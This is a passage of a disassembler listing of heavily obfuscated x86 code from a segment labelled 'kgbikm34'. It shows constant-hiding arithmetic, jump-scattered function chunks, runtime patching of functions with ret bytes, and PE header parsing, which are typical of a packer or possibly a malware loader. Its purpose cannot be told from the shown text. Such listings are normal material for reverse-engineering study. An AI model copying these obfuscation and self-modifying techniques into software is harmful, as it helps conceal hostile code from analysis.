		pop	eax
		rol	eax, 12h
		add	eax, 0C0814B52h
		jmp	loc_43BDE4
; ---------------------------------------------------------------------------

loc_439E9B:				; DATA XREF: sub_439B90+8o
		push	0B548BC6Fh
		pop	edx
		or	edx, 450252BEh
		sub	edx, 0ADD962B1h

loc_439EAD:				; CODE XREF: kgbikm34:00444278j
		xor	edx, 53267214h
		add	edx, ebp
		add	edx, 0EBA811A2h
		jmp	loc_4469F7
; ---------------------------------------------------------------------------

loc_439EC0:				; DATA XREF: sub_44744C-C4Bo
		add	edx, 0EFAB4ACDh
		call	sub_4478A8
; START	OF FUNCTION CHUNK FOR sub_4394B6

loc_439ECB:				; CODE XREF: sub_4394B6+5j
		push	6CCBE823h
		xchg	ebx, [esp+4+var_4]
		mov	eax, ebx
		pop	ebx
		rol	eax, 8
		jmp	loc_448E5C
; END OF FUNCTION CHUNK	FOR sub_4394B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_439EDE:				; CODE XREF: sub_439A2E:loc_439A3Dj
		mov	eax, [ebp-4]
		mov	al, [eax]
		jnb	loc_44E0B1
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_439983
		jmp	loc_44129B
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
		mov	eax, 66ED724Dh
		jmp	sub_44213E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7D3

loc_439F07:				; CODE XREF: sub_43C7D3:loc_44BE69j
		xor	ecx, 2A28B0D3h
		jnz	loc_43B9C2

loc_439F13:				; CODE XREF: kgbikm34:0044D324j
		jmp	nullsub_20
; END OF FUNCTION CHUNK	FOR sub_43C7D3
; ---------------------------------------------------------------------------

loc_439F18:				; CODE XREF: kgbikm34:0044CD2Cj
		jmp	sub_438B6B
; ---------------------------------------------------------------------------
		jnp	loc_44D285
		and	esi, edi
		sbb	edi, ecx
		jbe	loc_43B52C
		jmp	loc_43B9C2
; ---------------------------------------------------------------------------

loc_439F32:				; CODE XREF: kgbikm34:0043FF0Cj
		ja	loc_442813
		sub	ecx, ebx
		jmp	sub_44A356
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B197

loc_439F3F:				; CODE XREF: sub_43B197+12j
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44872E
		jmp	loc_444BD7
; END OF FUNCTION CHUNK	FOR sub_43B197
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447F4D

loc_439F50:				; CODE XREF: sub_447F4D+13j
		jnz	locret_439F5B

loc_439F56:				; CODE XREF: sub_447F4D+6j
		call	sub_439F66

locret_439F5B:				; CODE XREF: sub_447F4D:loc_439F50j
		retn
; END OF FUNCTION CHUNK	FOR sub_447F4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_439F5C:				; CODE XREF: sub_447B31-9065j
		jmp	loc_44CBAE
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF66

loc_439F61:				; CODE XREF: sub_43DF66+Cj
		jmp	loc_445828
; END OF FUNCTION CHUNK	FOR sub_43DF66

; =============== S U B	R O U T	I N E =======================================



sub_439F66	proc near		; CODE XREF: sub_447F4D:loc_439F56p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0044C8C3 SIZE 00000004 BYTES

		push	ebx
		push	ecx
		call	sub_4481F3
		jmp	loc_44C8C3
sub_439F66	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439F72	proc near		; DATA XREF: sub_442798-1EF6o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437242 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438A7F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439E23 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004407C5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00440DAF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00443D9B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444E74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004466F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044808B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449DEB SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044D158 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		xchg	eax, [esp+4+var_4]
		jmp	loc_437242
sub_439F72	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439F82:				; CODE XREF: kgbikm34:0044BEE3j
		pushf
		xchg	esi, edi
		jmp	loc_43A6E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_439F8A:				; CODE XREF: sub_43C55C+80DEj
		or	eax, 8
		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_44061B
; ---------------------------------------------------------------------------

loc_439F9B:				; CODE XREF: sub_43C55C+80D2j
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_444676
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_438405
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A3D0

loc_439FB1:				; CODE XREF: sub_43A3D0:loc_43D548j
		xor	eax, 779B6842h
		jns	loc_442C52
; END OF FUNCTION CHUNK	FOR sub_43A3D0
; START	OF FUNCTION CHUNK FOR sub_44ABBB

loc_439FBD:				; CODE XREF: sub_44ABBB+Fj
		jmp	loc_440047
; END OF FUNCTION CHUNK	FOR sub_44ABBB
; ---------------------------------------------------------------------------

loc_439FC2:				; CODE XREF: kgbikm34:0043760Dj
		jmp	loc_440280
; ---------------------------------------------------------------------------
		add	edi, esi
		jmp	loc_442C50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44262A

loc_439FCE:				; CODE XREF: sub_44262A:loc_44162Bj
		jnz	loc_44B7A6
		push	offset loc_44B79D
		jmp	loc_438F84
; END OF FUNCTION CHUNK	FOR sub_44262A
; ---------------------------------------------------------------------------

loc_439FDE:				; CODE XREF: kgbikm34:0044AC2Bj
		jz	loc_43B71D
		jmp	loc_44803C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44262A

loc_439FE9:				; CODE XREF: sub_44262A:loc_43F079j
		inc	dword ptr [ebp-8]

loc_439FEC:				; CODE XREF: sub_44262A:loc_44A3BEj
					; kgbikm34:0044B7A1j
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44262A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4BD

loc_439FF3:				; CODE XREF: sub_43A4BD+AC27j
		jmp	loc_43E4CE
; END OF FUNCTION CHUNK	FOR sub_43A4BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44262A

loc_439FF8:				; CODE XREF: sub_44262A+11j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jmp	loc_44162B
; END OF FUNCTION CHUNK	FOR sub_44262A
; ---------------------------------------------------------------------------

loc_43A004:				; CODE XREF: kgbikm34:004409F3j
		push	eax
		jmp	loc_43B150
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F77

loc_43A00A:				; CODE XREF: sub_443F77:loc_449845j
		pop	ebx
		rol	ebx, 14h
		sub	ebx, ds:4000FAh
		and	ebx, 82144C25h
		add	ebx, 7E3D9C74h
		mov	[ebx], eax
		jmp	loc_442FD0
; END OF FUNCTION CHUNK	FOR sub_443F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFA4

loc_43A027:				; CODE XREF: sub_43DFA4:loc_44BF9Fj
		jz	loc_44570A
		jmp	loc_445D75
; END OF FUNCTION CHUNK	FOR sub_43DFA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFE3

loc_43A032:				; CODE XREF: sub_43EFE3:loc_44AFE9j
		sub	eax, 0E07F244Dh
		rol	eax, 16h
		add	eax, 0D242048Ah
		call	sub_43BF6F
		push	ecx
		jmp	loc_44D2E5
; END OF FUNCTION CHUNK	FOR sub_43EFE3
; ---------------------------------------------------------------------------

loc_43A04C:				; CODE XREF: kgbikm34:004470C2j
		jnz	loc_44552B
; START	OF FUNCTION CHUNK FOR sub_44D07C

loc_43A052:				; CODE XREF: sub_44D07C+7j
		jmp	loc_44B693
; END OF FUNCTION CHUNK	FOR sub_44D07C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_43A057:				; CODE XREF: sub_4494B1+16j
		jmp	loc_43D7FA
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4490AC

loc_43A05C:				; CODE XREF: sub_4490AC-684Aj
		jmp	loc_43DDCE
; END OF FUNCTION CHUNK	FOR sub_4490AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_43A061:				; CODE XREF: sub_440834-773Cj
		jmp	loc_4465C4
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 0D617h, 0B2E9D787h
		db 0B4h, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D019

loc_43A073:				; CODE XREF: sub_43D019:loc_44A88Fj
		push	offset loc_440DB8
		jmp	nullsub_145
; END OF FUNCTION CHUNK	FOR sub_43D019

; =============== S U B	R O U T	I N E =======================================



sub_43A07D	proc near		; DATA XREF: kgbikm34:00442DEBo

; FUNCTION CHUNK AT 00445FF8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00448AE4 SIZE 00000005 BYTES

		movzx	eax, word ptr [eax+6]
		push	ebx
		push	3D6BBC39h
		pop	ebx
		jmp	loc_448AE4
sub_43A07D	endp

; ---------------------------------------------------------------------------

loc_43A08D:				; DATA XREF: sub_441086+5AF4o
		call	sub_448D26
; START	OF FUNCTION CHUNK FOR sub_449405

loc_43A092:				; CODE XREF: sub_449405:loc_44BAB1j
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_449405
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43A093:				; CODE XREF: sub_43D494:loc_43DA60j
		push	offset loc_44A6B5
		jmp	nullsub_169
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D02A

loc_43A09D:				; CODE XREF: sub_44D02A+14j
		mov	edx, [ebp+8]
		mov	[edx-8], eax
; END OF FUNCTION CHUNK	FOR sub_44D02A
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_43A0A3:				; CODE XREF: sub_43CFA5-2A16j
					; sub_44A9BB+4j ...
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448E39

loc_43A0B0:				; CODE XREF: sub_448E39-EB11j
		jmp	loc_442BA7
; END OF FUNCTION CHUNK	FOR sub_448E39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4479B1

loc_43A0B5:				; CODE XREF: sub_4479B1-2ED4j
		mov	eax, [edi]
		jmp	loc_43C878
; END OF FUNCTION CHUNK	FOR sub_4479B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_43A0BC:				; CODE XREF: sub_43ACD5+BB13j
		sub	al, 99h
		push	9E73B98Ah
		pop	edx
		add	edx, 0CDFD37A1h
		sub	edx, 97F48125h
		jmp	loc_43F519
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F78

loc_43A0D6:				; CODE XREF: sub_440F78+BE21j
		jmp	loc_43DB64
; END OF FUNCTION CHUNK	FOR sub_440F78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_43A0DB:				; CODE XREF: sub_43BF6F+E9A5j
		jz	loc_447092
		jmp	loc_43EB56
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_43A0E6:				; CODE XREF: sub_44DAF3-EE1j
		cmp	ebp, esi
		jmp	loc_43B8B0
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439DCD

loc_43A0F3:				; CODE XREF: sub_439DCD-1A6j
		jmp	loc_443C53
; END OF FUNCTION CHUNK	FOR sub_439DCD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	al, 24h
		call	sub_447135

loc_43A100:				; CODE XREF: kgbikm34:0043735Ej
		jmp	loc_4442FC
; ---------------------------------------------------------------------------

loc_43A105:				; CODE XREF: kgbikm34:00442AA4j
		rol	edi, 1Eh

; =============== S U B	R O U T	I N E =======================================



sub_43A108	proc near		; CODE XREF: sub_43EA97+9EA1p

; FUNCTION CHUNK AT 0043D3A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F24B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B04D SIZE 00000010 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	[edi], eax
		pop	edi
		jmp	loc_43F24B
sub_43A108	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_43A114:				; CODE XREF: sub_44B6E1-76BEj
					; sub_44B6E1-112Cj
		xor	edi, 0A2BA192h
		add	edi, 5CC02D5Bh
		xchg	edi, [esp+4+var_4]
		jmp	sub_440F62
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------
		sub	eax, 9C030DDFh
		xor	eax, 7DFE23Fh
		rol	eax, 4
		push	esi
		push	0E26F2426h
		xchg	ebp, [esp]
		jmp	loc_43731E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, ecx
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_43A148:				; CODE XREF: sub_4418C2:loc_440C83j
		xchg	ebp, [esp+0]
		push	offset sub_44640C
		jmp	nullsub_199
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------

loc_43A155:				; CODE XREF: kgbikm34:0044B508j
		adc	esi, 6BA1E590h

; =============== S U B	R O U T	I N E =======================================



sub_43A15B	proc near		; CODE XREF: kgbikm34:loc_448450p
		xchg	ebx, [esp+0]
		pop	ebx
		xor	eax, 376B59C0h
sub_43A15B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_440488

loc_43A165:				; CODE XREF: sub_440488+DCB9j
		push	esi
		pushf
		push	7A42C63Bh
		jmp	loc_446C11
; END OF FUNCTION CHUNK	FOR sub_440488
; ---------------------------------------------------------------------------
		sbb	edi, eax
		push	ecx
		jmp	sub_4494B1

; =============== S U B	R O U T	I N E =======================================



sub_43A179	proc near		; CODE XREF: kgbikm34:0043E4BBj
					; sub_44DC8Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043E852 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00440E95 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441CB0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442E8D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444CF3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00445DA7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004468AB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004476B9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044AF38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BF61 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jns	loc_43E852
		pop	edx
		jmp	loc_4476B9
sub_43A179	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_443C6F
		jmp	loc_446948
; ---------------------------------------------------------------------------

loc_43A196:				; CODE XREF: kgbikm34:0043ADE9j
		jge	loc_446A95
; START	OF FUNCTION CHUNK FOR sub_442B5D

loc_43A19C:				; CODE XREF: sub_442B5D+582j
		jmp	loc_43C106
; END OF FUNCTION CHUNK	FOR sub_442B5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BF9

loc_43A1A1:				; CODE XREF: sub_440BF9-3D31j
		jmp	loc_440C02
; END OF FUNCTION CHUNK	FOR sub_440BF9
; ---------------------------------------------------------------------------
		cmp	ebp, 6DBCBA9Fh
		jmp	loc_442C0D
; ---------------------------------------------------------------------------
		xchg	ebp, [edi]
		jmp	sub_4447FD
; ---------------------------------------------------------------------------
		push	esi
		xchg	ecx, edi
		jmp	sub_44C607
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnz	loc_44A344
		mov	eax, [esp]
		push	eax
		mov	eax, edx
		jmp	loc_44D425
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43A1D2:				; CODE XREF: sub_439587:loc_43B2F2j
		add	edi, 1F3B4240h
		mov	edi, [edi]
		cmp	eax, edi
		pop	edi
		jmp	loc_447FE0
; END OF FUNCTION CHUNK	FOR sub_439587
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_269. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43A1E3:				; CODE XREF: kgbikm34:0043C680j
		jmp	loc_440CC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_43A1E8:				; CODE XREF: sub_44DAF3-1256Dj
		jmp	loc_43737F
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_43A1ED:				; CODE XREF: sub_440443-6649j
		jmp	loc_44636F
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C74C

loc_43A1F2:				; CODE XREF: sub_43C74C:loc_44B4C9j
		and	edi, 28E8BB4Eh
		rol	edi, 1

loc_43A1FA:				; CODE XREF: kgbikm34:0044D36Dj
		add	edi, 0EFF470F9h
		popf
		xchg	edi, [esp-4+arg_0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43C74C
; ---------------------------------------------------------------------------

loc_43A209:				; CODE XREF: kgbikm34:0044A459j
		xchg	esi, [esp]
		jmp	sub_44B5E4
; ---------------------------------------------------------------------------

loc_43A211:				; DATA XREF: kgbikm34:004445F0o
		push	5A26D4FEh
		pop	edx
		xor	edx, ds:4000F8h
		rol	edx, 7
		xor	edx, 63C80E21h
		jmp	loc_44D91E

; =============== S U B	R O U T	I N E =======================================



sub_43A22B	proc near		; CODE XREF: sub_43B0B7:loc_43E6B8j
					; kgbikm34:0043F3D9p

; FUNCTION CHUNK AT 00446A3F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A50D SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0044BC9C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044C432 SIZE 0000001D BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ecx
		push	0F94B7E43h
		pop	ecx
		jmp	loc_44A50D
sub_43A22B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43A23B	proc near		; CODE XREF: sub_43B3B2+6p
					; kgbikm34:00440014j

; FUNCTION CHUNK AT 0043D1A4 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	ebx
		lea	eax, sub_4396AA
		mov	byte ptr [eax],	0C3h
		jmp	loc_43D1A4
sub_43A23B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43A24E	proc near		; CODE XREF: sub_418DAB:loc_418DFFp
					; sub_418E28:loc_418E80p ...

; FUNCTION CHUNK AT 00445F99 SIZE 00000005 BYTES

		push	offset sub_43B943
		jmp	loc_445F99
sub_43A24E	endp

; ---------------------------------------------------------------------------

loc_43A258:				; CODE XREF: kgbikm34:loc_442924j
		push	offset loc_447975
		jmp	locret_441C7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_43A262:				; CODE XREF: sub_449D59-6227j
		jl	loc_43B8F5

loc_43A268:				; CODE XREF: kgbikm34:0043F646j
		jmp	loc_440261
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
		pushf
		add	eax, 4C88B64Eh
		xor	ebp, edx
		jmp	loc_447E66
; ---------------------------------------------------------------------------
		mov	ds:dword_41E114, eax
		lea	eax, nullsub_337
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_337
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		jmp	loc_437095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43A297:				; CODE XREF: sub_43D494+93A2j
		jle	loc_445913

loc_43A29D:				; CODE XREF: sub_43D494:loc_4409B6j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4438CF
		jmp	loc_4439A2
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_43A2AE:				; CODE XREF: sub_449D87-87C8j
					; sub_449D87:loc_44A09Fj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax
		mov	[ebp-4], eax
		jmp	loc_444748
; END OF FUNCTION CHUNK	FOR sub_449D87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_43A2C1:				; CODE XREF: sub_442340-6E9Bj
		mov	[eax], ebx
		mov	eax, offset dword_43A8B0
		call	sub_44AD65
		mov	al, [ebp-5]
		pop	ebx
		pop	ecx
		pop	ecx
		jmp	loc_449C37
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CECD

loc_43A2D8:				; CODE XREF: sub_43CECD:loc_44675Fj
		jz	loc_443DDE
		jmp	loc_4489F2
; END OF FUNCTION CHUNK	FOR sub_43CECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CD5D

loc_43A2E3:				; CODE XREF: sub_43CD5D:loc_442D08j
		mov	ebp, edx
		xchg	ebp, [esp+0]
		push	eax
		push	11A815CEh
		jmp	loc_44C3D2
; END OF FUNCTION CHUNK	FOR sub_43CD5D
; ---------------------------------------------------------------------------

loc_43A2F3:				; CODE XREF: kgbikm34:0044A99Cj
		ja	loc_44CF63
		sbb	edi, 436FA97Ch

; =============== S U B	R O U T	I N E =======================================



sub_43A2FF	proc near		; CODE XREF: sub_44AA5Ap

; FUNCTION CHUNK AT 0043E61C SIZE 00000015 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	esi
		push	801AE165h
		jmp	loc_43E61C
sub_43A2FF	endp

; ---------------------------------------------------------------------------
		sub	ebp, 22918B5Bh
		jmp	loc_4455C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448E39

loc_43A319:				; CODE XREF: sub_448E39+Dj
		and	eax, 7431B217h
		add	eax, 0BC427987h
		xchg	eax, [esp+4+var_4]
		jmp	loc_43A0B0
; END OF FUNCTION CHUNK	FOR sub_448E39
; ---------------------------------------------------------------------------

loc_43A32D:				; DATA XREF: sub_440FF4:loc_44B470o
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_44BAF1
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_439310
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447135

loc_43A34C:				; CODE XREF: sub_447135+6j
		pop	eax
		jb	loc_43C2B3
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ecx
		jmp	loc_43B953
; END OF FUNCTION CHUNK	FOR sub_447135
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B991

loc_43A35D:				; CODE XREF: sub_44B991:loc_442E82j
					; kgbikm34:00445520j
		and	eax, 8CEE2E18h
		xor	eax, 0CFF886F5h
		test	eax, 1000000h
		jmp	loc_440C9C
; END OF FUNCTION CHUNK	FOR sub_44B991

; =============== S U B	R O U T	I N E =======================================



sub_43A374	proc near		; CODE XREF: kgbikm34:00440ED3j
					; sub_4403A3+543Ap

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C7C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CE9A SIZE 0000001B BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ecx
		push	7F6171DAh
		xchg	ebx, [esp+4+var_4]
		mov	ecx, ebx
		jmp	loc_43C7C1
sub_43A374	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B18D

loc_43A388:				; CODE XREF: sub_44B18D:loc_43D76Bj
		jb	loc_43B36F
		jmp	loc_43A91E
; END OF FUNCTION CHUNK	FOR sub_44B18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439852

loc_43A393:				; CODE XREF: sub_439852:loc_44B647j
		mov	byte ptr [eax],	0C3h
		jmp	loc_4437B5
; ---------------------------------------------------------------------------

loc_43A39B:				; CODE XREF: sub_439852:loc_43AFEEj
		pop	edx
		mov	eax, [esp+0]
		push	edx
		push	offset loc_44A30F
		jmp	loc_43F3F3
; END OF FUNCTION CHUNK	FOR sub_439852
; ---------------------------------------------------------------------------

locret_43A3AA:				; CODE XREF: kgbikm34:0044731Aj
		retn
; ---------------------------------------------------------------------------
		adc	edi, 1156DAE2h
		jmp	sub_44DE4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43A3B6:				; CODE XREF: sub_43D494:loc_4371D3j
		cdq
		add	eax, [esp+0]
		jno	loc_43DE29
		adc	edx, [esp+arg_0]
		jmp	loc_441032
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
		mov	[eax], esi
		jmp	sub_4456B7

; =============== S U B	R O U T	I N E =======================================



sub_43A3D0	proc near		; CODE XREF: sub_440116+8875j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00439FB1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043D548 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442C52 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00444343 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DB54 SIZE 0000001A BYTES

		push	ebx
		push	8F6AFB77h
		xchg	eax, [esp+8+var_8]
		mov	ebx, eax
		pop	eax
		sub	ebx, 552A0EFDh
		jmp	loc_444343
sub_43A3D0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_43A3E7:				; CODE XREF: sub_43E34D+B263j
		pop	ecx
		push	offset sub_43D9A7
		jmp	nullsub_119
; END OF FUNCTION CHUNK	FOR sub_43E34D
; ---------------------------------------------------------------------------

loc_43A3F2:				; DATA XREF: sub_437B11:loc_44908Ao
		inc	eax
		push	edx
		mov	edx, ecx
		xchg	edx, [esp]
		push	320BA8E1h
		pop	ecx

loc_43A3FF:				; CODE XREF: kgbikm34:00448785j
		jmp	loc_446F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446779

loc_43A404:				; CODE XREF: sub_446779:loc_43CC68j
		js	loc_443B60

loc_43A40A:				; CODE XREF: sub_447749+Aj
		jmp	loc_44D99F
; END OF FUNCTION CHUNK	FOR sub_446779
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424F7

loc_43A40F:				; CODE XREF: sub_4424F7+Dj
		jmp	loc_44B432
; END OF FUNCTION CHUNK	FOR sub_4424F7
; ---------------------------------------------------------------------------
		xchg	ebp, [edx]
		jno	loc_444BCF
		jmp	loc_443B5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B714

loc_43A421:				; CODE XREF: sub_44B714+14D5j
		add	edi, 278D95CAh
		mov	[edi], eax

loc_43A429:				; CODE XREF: kgbikm34:loc_43E50Dj
		xchg	esi, [esp+0]
		mov	edi, esi
		pop	esi
		lea	eax, sub_446B3C
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E313
; END OF FUNCTION CHUNK	FOR sub_44B714
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B3C

loc_43A43D:				; CODE XREF: sub_446B3C:loc_441B7Fj
		mov	eax, [esp+0]
		jmp	loc_44B835
; END OF FUNCTION CHUNK	FOR sub_446B3C

; =============== S U B	R O U T	I N E =======================================

